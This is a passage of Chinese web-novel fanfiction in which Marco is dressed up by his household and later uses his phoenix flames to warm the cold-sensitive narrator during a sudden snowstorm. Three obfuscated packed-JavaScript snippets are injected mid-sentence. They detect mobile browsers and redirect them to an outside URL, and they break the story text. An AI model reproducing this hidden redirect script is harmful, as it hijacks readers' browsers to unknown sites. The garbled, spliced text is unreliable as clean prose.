“就基础制服怎么样?”同一时间,修兵也发消息给我。 “……” 什么叫默契?这就是默契! 无需言语,我和修兵一拍即合。 方向定了,修兵当即网购,我不需要再去百货商场像无头苍蝇一样乱撞,只管和马尔科一起在家等着,等着修兵带上包裹和晚饭一起回家。 “穿上看看!” 马尔科被推进了房间。 我们抄着手,在门外翘首以盼。 五分钟后,他出来了,一如经典的变身桥段。 我们买给他皮鞋、浅棕色休闲裤、白衬衣、米色毛线背心,于是马尔科迈开长腿出来,鞋底在地面踢踏出清亮的声音,一听就是好鞋;裤腿包裹着长腿,剪裁得体,笔直挺拔;白衬衣是较厚的布料,整体硬挺有型;搭配外面的针织小马甲,软硬兼备,外柔内刚。 其实只是基础简单学生常见款型,但也因为寻常,更彰显出他与众不同的儒雅气质。而那份儒雅一加持,反而让他看上去更像是某位教授。 “是这样穿吗?”马尔科问我们。 “嗯嗯!”我认真点头。 我手笨,管指挥,让修兵帮他整理。 领口的扣子要全部扣满,衬衣也得塞进裤子里,体现出他高高的腰线,和一双笔直的长腿,裤脚要稍微卷起来一点,提高视觉重心…… 马尔科身材太好了,这种身材套个麻袋都好看,所以更要在细节处见真章。 修兵不断地帮他调整。我在边上看着。 没什么可挑剔的,一定要挑的话……头发实在像一堆杂草,没有精神。 我拧了下眉,修兵会意:“下单一个理发套餐,挑个时间把头发剪一剪。” 他去上班,我在家指挥置换服务站的上门理发师好生修理马尔科的头发——去除那些毫无必要的恶趣味,他一头金发蓬松而柔软,自然舒展开,很像明媚的秋光隐匿在其中。 颜色很漂亮。修兵回家赞不绝口。 “……有点像那么回事了,但好像还缺点什么?” “嗯。” 这是我们为他搭配的日常装,都选择了基础款,没有体现剪裁,虽然整体效果不错,但有点朴实无华,显得美中不足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073609|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我蹙眉思考,应该添点配饰。修兵一拍掌,转身去他房间翻出一只机械手表。 “拿去戴,马尔科,给你了。” “你的?” “不是我的,大小姐买的。她买完就忘,丢在我那里很久了,我平常还在保养。” “……” 我是忘了,我不记得我还买过这一款?不过算了,来得正好。 我们给马尔科戴上,整体装扮朴实和柔软,唯独腕上的机械表盘十分抢眼,起画龙点睛的作用。这种程度的装扮走去校园,我们家马尔科高低得在“气质型帅哥”票选中占一席之地。 不需要完美,现在就已经很漂亮了,我很满意。 “你自己看看!” 我让他也欣赏欣赏自己的美好。“漂亮”是一种精气神的体现,不简单是骨肉皮相的优劣。 我说了,他本可以和“好看”相关。只要他好好生活,光芒自然会从内向外地散发。 每个人都可以变好看。 何况马尔科的底子很好,客观条件一点不差,只是心境还固守在原来的认知里,没有及时更改。 马尔科还不习惯,被我推到落地镜前,呆站着没有反应。 “不好看吗?”我问他。 “啊……嗯,”他推了下眼镜,“好看,很精神。” 岂止精神!我已经等不及了,催着修兵赶紧拍照上传办事处,替换掉马尔科那张坐牢时不修边幅的抓拍——他的个人认证通过得迟,学校的档案还没有建好,我们要赶在建档之前处理好这事。 否则上课点名,别人的头像都是上学,就他一个人坐牢。 这太离谱了,我不能忍,我的天会塌掉。 修兵很懂,提前带了编辑部的相机回来,立马撩袖上阵,拍照修图。 “怎样?” “很好!” 新照片上传,办事处系统往我的通讯器连发了三条讯息,提示我“注意风险”,请求证“该照片是否为同一人”。我启动了管理员权限两次确认,才勉强通过了系统认证,更换了个人照片。 判若两人,可见一斑。 这种无语事,把马尔科自己都惹笑了。 不管怎么说,通过了就好。修兵要回房间工作了,临走前示意我们:“我周末要去隔壁市出个差,你们两个在家没问题吧?” “没问题,”马尔科答。 “最近要降温,没事别出门了,就在家里待着,”修兵又跟我说,“马尔科的通讯器大概周末会到,你注意查收,如果我还没有回家,教一下他。” “没问题,”我也答复道。 通讯器相当于能力者的身份凭证,激活以后马尔科才可以正式开启他的新生活,是得多留意动态。 至于修兵所说的降温……我不以为意。 这才十月下旬,时值暮秋。暮秋也是秋,即便降温又能降到哪里去? 我认为修兵多虑:往年这个时候气温最低也有十来度。我虽然怕冷,但十来度的天气还不至于能把我怎么样。除非它降到零下,那我的确可能会出问题。 但那种概率太小了,微乎其微。 “放心吧,我没事的!”我和他保证。 “你打住,别立Flag!”修兵警告我不许再说。 周六早上晴空万里,我们送他出行,与卡卡西离开那天别无二致。而修兵一走,仅仅到正午时分,愁云惨淡,北风呼啸,忽然开始了断崖式地降温。 规模之浩大,如果不是修兵提前告知要降温的消息,我甚至会觉得附近有管理员在斗法,如若不然,怎么可能一夜之间骤降二十多度? 我从来没有见识过这样极端的天气。 这分明是秋天,窗外却在飘雪。 气温在零度徘徊,体感在零度以下。 …… 我错了,我不该质疑修兵。 我有问题,我问题很大。 15. 09 体贴(1) 我受不了这种严寒。我怕冷,每年冬天都异常煎熬。 家里没有火炉。每年冬天,我都抱住卡卡西,尽可能的摄取他的体温。 眼下卡卡西却不在。家里只有马尔科。 周五晚上我立完Flag,修兵怕我乌鸦嘴,当场把我过冬的装备翻了出来。热水袋一溜在客厅排开,连深冬的棉被都拿了出来,暂时放在卡卡西的房间里。 窗外刚开始吹风,马尔科就在第一时间去换上了。热水袋也给我冲了好几个。 但我还是很冷,手脚冰凉,怎么捂也捂不热。 吃完午饭,马尔科去忙别的家务。我坐在沙发上昏昏欲睡。 不知道是什么时候,窗外天光还亮着,他忽然推我:“大小姐?” “……嗯?” “你怎么了?” “什么?”我不明所以,“你有事吗?” 他没事,刚学会使用挂烫机,在帮我处理裙褶。是我有事,我的手机放在卧室里,一直在响,我却充耳不闻。 马尔科拿来给我,屏幕上显示好几个未接来电。 ——是卡卡西吧?我下意识判定。 自打出差,卡卡西一直神出鬼没,鲜有耳闻。 但天气太冷了,刚才我想起了他。 我和卡卡西虽然没有先天的默契,但好歹一起生活了六年,对彼此的了解还是有的。而当了解累积到一定的程度,就会产生后天的默契。 ——肯定是卡卡西。我后知后觉接下手机,电话又来了。 “喂?大小姐,”是熟悉的声音,“你在干什么,怎么不接电话?” “我没看到。” “修兵在群里发了这么多消息,你一个都没有看到?” “嗯……” 我压根没看,天气冷成这样,我的脑袋都快冻成了浆糊,更别提手脚。 “马尔科在你身边吗?” “在,”我把免提打开了,“你说吧,他能听见。” “找我吗?”马尔科凑了过来。 我在接电话,他在边上站着,一直看着我,没有离开。 “喂,马尔科,你能听见吗?” “能,怎么了?” “你们那里降温了是吗?我忘记跟你说了:大小姐怕冷,你别让她一个人呆着,她受不了,你去抱抱她。” “什、什么?”马尔科愣得像个冰雕。 …… 这种要求超尘绝俗,前所未闻。马尔科整个人都僵住了。 我也听不下去—— “……不要强人所难了,”我叫停卡卡西,“我没事,你别担心了。我扛得猪——” “哈哈哈,你扛得猪?你还扛牛呢!”卡卡西被我的嘴瓢逗乐了,催着马尔科,“赶紧的,马尔科,你瞧她这样子,现在是冻得嘴瓢,再不管管,一会儿要冻得脑子有问题了!” 卡卡西似乎在车上,背景音很是繁杂,时间也紧迫,打个电话就说两句,直入主题,然后电话断了,不像是信号不佳。 我没有办法再反驳,只能跟马尔科面面相觑。 “……你别理他,我没事的,”我抢着对他说。 这种事因人而异,不能一概而论。 马尔科只是看起来粗犷,实则性情温顺,而且害羞——卡卡西不知情,可我知道——那天帮他吹完沙子,他一直回避我的目光。 那躲闪的姿态和修兵如出一辙,区别仅仅在于修兵比他更胜,我根本不能靠近修兵就会被他要求“保持距离”;而马尔科稍微好一点,我还可以靠近,但我牵他手时,他会愣住,分明是不习惯触碰。 我想他的害羞程度和接受程度都介于卡卡西和修兵之间。 不管怎么说,马尔科和卡卡西不一样。无论从哪个方面谈论,他们都是截然不同的两个人。我们是家人,更应该尊重个体差异,而不是理所应当地灌输和强求。 “……你忙吧,不用管他,我去泡澡了。” 我哆嗦着迅速离开现场。经卡卡西这一闹精神多了,我想起来我可以去泡澡。 卡卡西虽然不在家,但现在已不是从前,比从前条件好上太多,总归还有别的取暖办法……我在浴室里待了一下午,直到睡觉才从里面出来。 日落以后,窗外的飞雪更紧密,气温也更低。 太冷了,我睡不着,在床上翻来覆去。 “大小姐,”马尔科忽然叫我,“你还不睡觉吗?” “对不起,吵到你了吗?” “没有。但你为什么还不睡?” “……” 这个不用回答了,我咬着牙才不至于太吵。一开口说话,牙齿瑟瑟发抖,暴露无遗。 他也没有再说,回应我的是夜色一样的沉默。 我们床上的垫层已经加厚了,棉被也相当厚实。但我还是冷,一块冰放进再厚的棉被里也暖和不了。 这不是被子的问题,是我的问题。 “……你这么怕冷吗?”后来马尔科开口了,也不是问,而是感慨。 我不否认,只是劝他:“你别管了,睡觉吧马尔科。” 夜晚好静,天寒地冻,街上没有一点声音。 我牙齿抖得厉害,即便咬住了,呼吸声也极不寻常。 过去的每一个冬日都是这样难熬,我已经习惯了夜不能寐,堪堪熬到日出再去找卡卡西抱着睡一会儿。 现在的生活却发生了变化,房间里多了个马尔科,我睡不了,他也不能。 从前他并不这样,只有今天例外:频频在我旁边翻身,呼吸沉重,与我此起彼伏。 “大小姐,你真的没问题吗?”马尔科问了我好几次。 “……嗯,没问题。”我坚持说。 但一开口就伴随着牙齿打架,要说没问题,我自己都不太信。 马尔科也不信。 房间里沉默了片刻,他犹豫着问我:“……那要抱吗?” “不要了,”我答他,“你睡吧,我没事的,我去找个热水袋就好了。” 我准备去客厅待一会儿,等他睡着再回来,或者索性别回来了,反正回来也睡不着。 天气真冷,我掀开被子,里外是一个温度。本就笨拙的手脚,冻僵了更不听使唤。我摸索着站起来,只想快点离开房间,一迈腿,却“砰”的一声摔在地上。 动静太大,惊得马尔科从床上弹了起来。 “——大小姐?!” 这回是真没得睡了,屋里灯亮了,他看着我,目瞪口呆。 “你怎么样?” “我没事。” 我只是摔了。又不是第一次摔了,每年都要摔几次。摔了也不疼,没有感觉,麻木了。 “你睡吧,我没事。”我告诉他。 “……都磕青了还说没事?”马尔科不听我的,勾着腿弯,把我放回了床上。 我的被窝里没有一点温度。他伸手探了探,把我放进他的被窝里。他把被角掖得严严实实,瞧着是要一起睡的意思,我想回去,他还拦着不让。 “你干嘛?” “马尔科,你不用勉强自己。” “勉强自己?”他眉头挑了挑,对视我的眼睛,神色疑虑,“什么意思,什么勉强自己?还有你白天说‘强人所难’是什么意思?” “意思是你不用听卡卡西的,”我和他解释。 卡卡西让我抱着取暖,是因为他不介意,抱一下不会给他带来困扰;而修兵比较害羞,会介意肢体接触,我甚至都不会离他太近。 我想马尔科亦然——我是很冷,但这种事还是因人而异,只需量力而为。 我希望马尔科能理解,他真的不必勉强自己。取暖的事,我们也从不勉强修兵。我和修兵一起出门,他也不会牵着我,而是抓住我的袖口。 但他听完我的解释,定定地看着我,迟疑了片刻,忽地笑起来,有点无奈。 “大小姐,我没有勉强自己,也不是害羞……这种事我有什么好害羞的,不都是女孩子害羞吗?” “……”什么意思,我没理解。太冷了,我脑袋不好用。 马尔科只是笑,没有解释。火焰在他掌心聚集。他坐在床边,撩着我的刘海,在我头上轻轻按揉。 刚才好像磕到头了,虽然我感受不到任何痛处。 宁静里,我慢慢回想——那句话的意思似乎是他的僵硬和迟疑是在担心我会害羞。而他自己并不会。 马尔科治疗了一阵,确认无误,把灯关了。他过来抱我,一进被窝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073610|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冻得一哆嗦。 “哇,大小姐!你怎么这么冷?” 我把他冻得惊呼出声,但那声音是惊讶,不是羞涩。 语调像是卡卡西过来抱我时,无数次地惊叹“哇,大小姐,你真是个捂不热的冰疙瘩”,而不是我靠近修兵时,他恼羞成怒、一跳八丈高的“你这家伙——你别靠近我,男女授受不亲”。 他不是害羞,我确定了,他是担心我害羞。 我不害羞的,没有那种心情。人在冷的时候,没有多余的浪漫。 “……嗯,我就是很冷。” 我想退回去了,我很冷,会把他冻坏的。 我要走,他却抱住我,不让我离开。 “干嘛啊,大小姐?” “我太冷了,我自己睡吧。” “你这样子睡到天亮也睡不暖啊!” “……” 这倒是的,靠我自己睡不暖。如若不然,我也不至于一到冬天就日夜颠倒,非得赖着卡卡西艰难求生。 “可是明天你要上课。”我说。 “明天周末,上什么课?”他反问。 “……”明天周末啊,好像是的,我糊涂了。 马尔科叹了口气:“都冻傻了……好了,就这样,别乱动,一会儿就暖和起来了。” 话音将落,他忽然变成了一团火。亮蓝的火焰没有温度,也不会灼烧床单被褥。但包裹在我身上,火苗不住地燃烧跳跃,异常温暖。 “怎么能寒成这样……你经常泡水吗?” “什么?” “我说,你身上寒气太重了,以后不要总在水里待着。” 马尔科一边交代,一边加大火力。 青蓝色的火焰纵情燃烧,触感却是出人意料的轻柔。若非刻意觉察,几乎感受不到它的存在,只会莫来地沉溺其中,紧绷的身体会由内而外地松弛下来,好像坠入一片羽毛做成的云彩。 没人能抵挡这种安然闲适。这就是“不死鸟”的能力啊!我再不说退出去的话了,我想多待一会儿。 “那受不了了就放开我。”我告诉马尔科。 “嗯,安心睡觉吧。”他替我塞好被角。 火焰在我们之间跳跃。房间里明亮又温暖。 我靠在他胸前,听闻他的鼻息在我头顶均匀的铺展。他好暖和。我从来没有睡过这么温暖的被窝。 “你会冷吗?” “我不冷,”他还没睡,秒答,“你呢,你还冷吗?” 我摇了摇头。 我已经好很多了,得益于他能驱寒的火焰,冻僵的手脚渐渐有了知觉。可是一旦有了知觉,就明显感知到别扭与不适。 人就是这样贪婪,一旦有了就还想再要。 “我可以换个姿势吗?”我问马尔科。 “可以呀,”他什么都答应,“你要换什么姿势?” 我不喜欢躺着睡,像尸体,不吉利。 我要睡他边上,枕着他半侧肩膀,搂着他腰。 “你喜欢这样睡吗?” “怎么了吗?” “啊,没怎么,”他在笑,声音很轻,“这个姿势……大小姐,你把我当抱枕吗?” “是的。” 马尔科居然知道抱枕,这很让我意外。 我的确把他当成抱枕——在他来我们家之前,他睡觉的位置本就放着我的毛绒等身抱枕。我没有和别人同床共枕的经历,只有和抱枕一起睡觉的习惯。 这会让我自在一些。 “你不喜欢吗?那我——” “哈?怎么会不喜欢,没有的事。” 我要把姿势换回去了,马尔科打断我的推辞,把我抽回的胳膊又缠回他腰上。 “你抱吧,想怎么抱都可以。我没有关系,倒是你——不是说好了,以后都是我负责照顾你吗?” “是的。”我们是这样约好了。 “那为什么,我还有什么地方让你不满意吗?” “没有,我很满意。” “没有的话就让我照顾啊——冷就过来抱我,随时都可以,我没有不喜欢。” “谢谢你,马尔科。” 他人真好。 青蓝色的火焰明亮又温暖。人比火焰还要温柔呢。 16. 09 体贴(2) 这一觉我睡得酣畅淋漓。睁眼时,窗外早已大亮。 一到冬天,我睡得晚,也醒得迟,会有睡懒觉的习惯。一觉睡到大天亮,对我来说不足为奇。 但这个点,马尔科还在床上睡着,这相当反常。 他的作息规律又健康,早睡早起,已成习惯。平日里这个点早起床活动了,今天是特例——我躺在他臂弯里,头枕着他胳膊。我不起,他也不起,闭目假寐,随我休息。 被窝里暖和得像春光。 我睡觉乱动,他不时睁眼,替我掖一下被角。 这举动太过体贴,滋长了我的嚣张气焰。 我更不想起床了,醒了也假装没醒,换个姿势继续睡。 马尔科的脾气实在温和。我在他肩膀上躺了一晚上,压得他胳膊麻了,他却没有推开,只是用火焰自我疗愈,然后接着抱我,一整晚也没有松手。 “我不想起床。”即便我和他说。 “那再睡一会儿吧,”马尔科也由着我。 这种温和的脾气实在让我感到不可思议。 修兵常说卡卡西太惯着我,但如果我这样告诉卡卡西,我早挨揍了。马尔科居然不会。 这种温和我没有办法抗拒,暖和也不行。 马尔科陪我睡到十一点才起床洗漱。他动作利索,我磨磨蹭蹭进浴室时,他已经收拾好了,准备去做午饭了。 我挡住了他的去路。 “大小姐,怎么了?” “没有涂均匀。” 我把他下巴上的乳液抹开,随便涂到他脖子上。 他不是害羞,是不习惯触碰。我伸手过去,马尔科欲言又止,眼神有些慌乱。 而我居然已经习惯了,身体已经有了自己的想法,不受控制地跟在他身后。 马尔科去客厅,我也去客厅;马尔科去厨房,我也去厨房。 原则上我不能去厨房,修兵和卡卡西不允许我去,去了容易闯祸。 马尔科的脚步也在厨房门口停下了。他不去了,回头看着我笑:“大小姐,你干嘛呀?” “什么?” “怎么回事,大小姐,今天起床特别粘人。” “我有吗?” “有啊,”他肯定,“一直跟着我做什么,是冷了吗?” “嗯,”我重重点头,“可以给我一点火吗?” “当然了。” 他给我火,放在我手心。火焰顺着我胳膊向全身蔓延,最后把我整个人包裹在内。它没有任何温度,也没有任何异常的感觉,只是温暖,它燃着,寒意就荡然无存。 这个冬天还没有开始,我已经是半步不离马尔科的状态。 他太暖和了,人又很好说话,我抗拒不了。 降温似乎已经结束了,今日雪没有再落,但雪落后化成水,气温尚不能回升,反倒是更加清冷。 修兵和卡卡西都不在家,家里没有人气,更显得冷清。 我好想喝一口热乎乎的羊肉汤,扯了扯马尔科的袖子:“马尔科。” “嗯?” “你想不想喝羊肉汤?” “哈?” 我想,他应该也渴望着。毕竟,有谁能在寒冷里抗拒一碗热腾腾的羊肉汤呢? 他应该是被理智压制住了,因为他迟疑了一瞬,然后问我:“大小姐,我们哪来的钱呢?” “要不,我卖个腰子吧?” “……?” 不出意外的出了意外,我被拒绝了。本就被冻住的脑袋还被敲打了一下。 “疼啊,马尔科!”我不满地向他控诉。 这种情况换了其他两位,我只会被变本加厉地揍一暴栗。但马尔科这人脾气很好,很温和,示弱攻势对其他二位没什么效果,但对他效果显著。 “疼呐……” 当我埋怨他的时候,他就像是泄气的皮球一样,顷刻间没了脾气。 他手上动作停了,转身在我头顶点起了一团火。手掌轻轻揉我脑袋,口吻无奈,却很温柔。 “……知道疼,还说奇怪的话?” “不奇怪,天好冷,想喝羊肉汤。” “这么想喝吗?” “嗯……”他帮我揉脑袋,我顺势靠在他肩头。 我真的想喝羊肉汤,想喝得要掉眼泪了。 “真是的,”他无语地拍着我后背,“怎么会欠下这么多债啊?” “对不起。” “不是要你道歉。” “连累你了。” “没有,别瞎说。” 我知道他不是真的嫌弃我,只不过是我们变亲近了,所以可以和他胡诌几句。就像我和卡卡西一起待着,会偷偷嗑修兵CP一样。说悄悄话,是亲昵的表现。 羊肉汤很贵的。每年只有冬天才售卖,餐馆里一卖就是一百五十块一斤。一斤实则七两,都不够塞牙缝。饭量平平的卡卡西和修兵一顿也堪堪能吃个两三斤。今年又遇这种史无前例的寒潮……我想,今年的羊肉汤得卖到两百多一斤了。 那种价格我们家负担不起。 这种话我只能和马尔科说说,也只是说说。我怕马尔科出卖我,话毕便警告他:“是只和你说的话,你不许告诉修兵!” “当然不会了,”他捉住我揪他领口的手,揣进他口袋里,“好了,你别乱动,暖气跑掉了。” “除了羊肉汤,还有什么想吃的?” “都可以,吃点热的。” 家里的食材不多,马尔科挑了挑,准备做辣咖喱饭,再配个海带汤,加小虾米。 他会做饭,手艺不错,我已经尝试过了。在照顾人这方面,副团长“十项全能”果真是名不虚传。 “中午吃这个可以吗?” “嗯,可以。” …… 马尔科要做饭了。他把我放在一边,只在我身上留下一团火。 火焰只能驱寒,不能发热。我待了会儿,还是感觉到冷。马尔科切菜无暇分心,我走过去抱他,脸贴在他背上,尽可能地摄取他的体温。 今年冬天固然没有卡卡西陪我,但换了马尔科似乎也能过。 客厅里的时钟嘀嗒转动。 卡卡西突然打电话来:“午安,大小姐。” “午安,卡卡西。你为什么这么客气?” “哈哈!”他那头闹哄哄的,可能在餐馆里等饭,“今天又降温了,你怎么样?” “我很好。马尔科很暖和。” “啊,意思是马尔科给你抱了吗?” “嗯,他给我抱了。” 我和他详说昨晚冻得摔倒,马尔科好心捞我起来,抱我睡觉的事情……事实而已,我娓娓道来,马尔科却身体一僵,回头看着我,满脸震惊。 “怎么了?”我问他。 他没有问答。卡卡西问我:“你在跟谁说话,马尔科吗?他在你身边?” “嗯,他在做饭,”我很冷,手机开着外放,马尔科也能听到。 “他突然愣住了。”我告诉卡卡西。 “哈哈哈,”卡卡西笑得好大声,不和我说了,跟马尔科说,“惊到了是吗,马尔科?” “呃……对,有点。”马尔科推了下眼镜。 “哈哈哈,别在意。大小姐就是这样:虽然很漂亮,但是缺心眼……你们相处得不错嘛,这么快就露本性了。你知道也好,以后和她出门千万要注意,跟紧些,小心点防备。这种漂亮傻瓜放出去很危险,外人可不像我们几个——你懂我意思吧?” “啊,明白。”马尔科点着头,忍俊不禁。 “……”我不明白。这句话信息量好大,我冻僵的脑袋缓了很久才反应过来他在说我缺心眼。 我缺心眼是事实,事实而已,没什么难以启齿的,也没什么可以反驳的。 我没接话,卡卡西下一句也说:“昨天太匆忙,没来得及告诉你:她千万不能被冻到,一冻到脑袋就不好使,什么乱七八糟的都能说出来……虽然也很可爱吧,但是……哎,你懂我意思吧?” “呃,这个……”马尔科扫了我一眼,推了下眼镜,欲言又止。 卡卡西已经在笑了:“哈?已经经历过了吗?” “好像是的,”马尔科说。 我们家有三位男士,有时候男士的快乐,会让我这个唯一的女士感觉无措。 我不知道他们说说笑笑,到底在快乐什么?没有修兵帮我翻译,我听不懂。 “你们都在?”中午时候,修兵也加入了群聊。 十二点了,修兵还没有下班。正式会议不能摸鱼,从礼堂转移到餐厅的间隙,他才抽空现身聊两句。 时间紧迫,修兵一来只管直入正题:“大小姐?怎么样,昨天降温,你还好吗?” “我还好,”我把告诉卡卡西的事情再和修兵说一次。刚才没说完全,被马尔科突然僵硬的身体打断了,这次正好补充,“……马尔科胡子长得好快,头天晚上睡觉都没感觉,早上醒了却扎我脸。” 马尔科闻言又是一僵,回头看着我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073611|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再度震惊。 我和他面面相觑,来不及问他,修兵先问我:“等一下,他的胡子怎么能扎到你的脸——你俩睡一个被窝吗?” “是啊,”我点头,“他真的好暖和,抱着睡觉也没有问题!” “!”卡卡西秒懂,“他不会失温吗?” “他不会!”我已经试过了,马尔科完全不会失温。 失温是个大问题,我不能和别人一起睡觉。 这种事马尔科不知道,我和卡卡西试验过,我知道——他只能白天帮我取暖,入了夜,抱着我容易失温,稍有不慎,会有生命危险。所以冬天的晚上我都只能自己熬。 昨天马尔科好心帮我取暖,我坚持到很晚也不敢睡。 有关恶魔果实的具体分析,得等到海贼大规模散场,办事处全面勘察以后才会给出精准详细的报告。我只是基于观察,认为马尔科的“不死鸟果实”对他本人有一些特别的影响—— 譬如他的体温比一般人略高一些,一如鸟的体温会高于人类; 譬如他早睡早起的作息,仔细想想,也和普遍患有夜盲症的鸟类相似——因为看不见,鸟类大多日出而作、日落而息; 譬如海贼世界里,他的穿著花里胡哨,其实也符合鸟类喜爱鲜艳、明亮的特性; …… 很难评“不死鸟”究竟是种什么鸟?但我认为马尔科身上的确存在一些鸟类的特性。我不能确认这是他原本的人设还是恶魔果实的作用,我只是想到他的眼睛说不定真的能有转机? 半夜我问了他,他说鱼肝油有在好好吃。 窗外的月光落进来,他的眼睛异常明亮,视力颇佳,不像有夜盲症。 那些过去对于所有人来说都是过去,对他而言更应如此。 鱼肝油有效,这让我感觉良好。 “……他的能力真的很棒!他一冷,身上会自发燃起火焰。火焰会自动燃烧,不需要他控制,所以他也可以睡,没有任何影响!” 我跟他们讲了我一晚上的经历。 听我一通分析,马尔科也解释道:“嗯,火焰的话……燃烧是靠我的体力。只要我还有体力,它就会自动燃起来——不过仅限于我自己,离开我本体的火焰需要用意念控制,那个比较费体力了,没有控制好的话很容易熄灭。” 所以结论一如我的推测: 马尔科的火焰可以帮我驱寒,前提是一起睡——分开的话,他必须保持清醒,用意念控制火焰;那样他自己不能休息,我也只能维持“不寒”,不能借他体温暖和起来。 “只要抱着马尔科就可以了,”我对他赞不绝口,“他好暖和,以后再也不担心冬天了!” “哈,真的吗?”卡卡西照顾我六年,完全能理解我的快乐,他甚至比我还要兴奋,“那太好了,这样你就可以放心睡觉了。” “嗯!我睡得很好!马尔科超级体贴,睡醒了也不会催我起床,还一直给我掖被角!” 早上我醒了,我只是没有起来。 修兵更懂,“这样的话,就不用担心冬天会长黑眼圈了。” “是的!冬天也可以很漂亮了!” 对此我耿耿于怀,一到冬天日夜颠倒,我会张黑眼圈,变得不好看。 那不可以,我要漂亮。 就像我理解不到男士们的快乐一样,我的快乐也只有修兵会懂。 卡卡西只会吐槽我:“听到没,马尔科?这是什么地狱发言——我们在担心她冻得人都傻了,她在担心她不漂亮了?” 马尔科没有接话,倒是不僵了,哈哈在笑。 “她不一直是这样吗,”修兵帮我说话。 “就是!”我也附和着说。 “哈?你还‘就是’——” 卡卡西嚷嚷着又要敲我脑袋,可惜揍不到,他出去大半个月了,等他回来也不知道是什么时间。 等待那么漫长,快乐却很短暂。 我没什么事,马尔科有把我照顾得很好。修兵和卡卡西确认无误,双双说着要去忙自己手头的差事了。 我和马尔科也有要事在身。 结束通话前,他们批评我不接电话、不回消息、让人担心,督促马尔科注意接收通讯器——昨天下雪,快递业务全面暂停。今天开始气温降逐步回升,看物流进度,大概中午就会送到家里。 “赶紧让马尔科进群,免得联系不上你。”修兵再三交代。 “知道了知道了!” 修兵好啰嗦,跟卡卡西有的一比。 17. 10 自由(1) 电话挂了,我问马尔科:“一会儿你可以自己去接收吗?” “嗯?” 我把头转开了:“好麻烦,不想和外人说话。” “好吧,”他未语先笑。 辣咖喱饭十分美味,海带汤也鲜香可口。 我要求马尔科从今天开始要增大饭量,他的火焰需要消耗体力,他得吃饱喝足,才有精力为我取暖。 “……你要好好照顾我。” “好的,”他推着眼镜,我看不清他的表情,只听见他隐隐笑意。 我们窝在沙发上说话。门外传来了呐喊,快递员催着马尔科出去签收。 外头气温很低,快递员穿着冲锋衣,说话直冒白烟,风一吹,人像树梢上的残叶,瑟瑟发抖。马尔科是真不怕冷,穿着一件单薄的衬衣,在风里岿然不动。 照片变化太大,他需要做一个额外的现场认证。我在窗边探头探脑,看他接受扫描,重新录入能力者的十三项身份信息。马尔科只是变化了外貌和打扮,外貌是非常基础的东西,录入也很快。 十来分钟的事,不需要我出面解决。 马尔科很棒,虽然是第一次和办事处的工作人员打交道,但沟通得很好,两人言笑晏晏。他看起来和卡卡西一样,是那种天生擅长和人接触的类型。 这让我放心很多,我不喜欢和人接触,正好交给他处理。 “大小姐,他说还需要管理员再确认一次,在你的终端上。” “好。” 我进房间取。终端就是我的手机。 管理员的叫终端、能力者的叫通讯器、普通人的叫手机。区别只是定制和非定制而已,外形没有区别。 他的认证消息已经发到我这边了。 “管理员大人:马尔科身份认证已通过,变化:外貌(肤色),请予以确认。” 我进入管理员系统予以认可。马尔科手上的小盒子开始滴滴作响。里面的通讯器自动激活。 通讯器里承载了能力者的个人信息,定制流程繁琐,不能随意更换,在我们家属于永久穿搭的一部分。颜色的选择基本都遵循了发色。 马尔科的通讯器是暖金色的边框。我选的,和他眼镜的风格一致,看起来文质彬彬。 而修兵的是深葡萄紫,卡卡西是月牙白。我的例外,我是黑发,但我的通讯器是冰晶白。 我的和他的摆在一起,差距很大。 “怎么不一样?”他问我。 “本来就不一样。” 我的是老年机,像我这样的苦手不需要很高端的机器。 我大概能理解他在想什么:“通讯器要根据使用者的手掌尺寸定做,在满足日常需求的基础上,针对战斗情形下的单手操作有特殊需要,所以要刚好能卡住——” 紧急战斗情景要同时按住两个侧边键,与管理员建立联系。 我教他特殊的持握姿势,他一按,我的古董终端开始拉响警报。 老是老了些,好在功能齐全。我拿给马尔科看——进入警报状态后,我这边还会收到特殊的定位,甚至可以通过他的通讯器,自动分析出他的对敌环境。 但这一切功能都建立于他手机的先进机能之上——我的手机没有这些功能,我无法主动监控他,只能由他主动通知我。 项圈也好,手机也罢,本质上都是管理员的监管手段。 但我无所谓。我不监管,很麻烦,我懒。 这件事我从来没有隐瞒过,毕竟第一天见面卡卡西就解开了他全身的镣铐,修兵也对他介绍过:位列十一却出现在这里,因为我懒。 马尔科不再说要换手机的话了,启动了他的手机,摸索了一下双端操作系统。 使用手册在包装盒里,小册子上写明了能力者的一些特殊操作。马尔科拿着册子认真学习,我在边上看,不得不感叹现在的科技真是有够先进…… 难怪越卖越贵。起初一部终端价值五千块,现在居然要收一万三。 “……真厉害啊,”马尔科已经研究到拍摄技巧了。 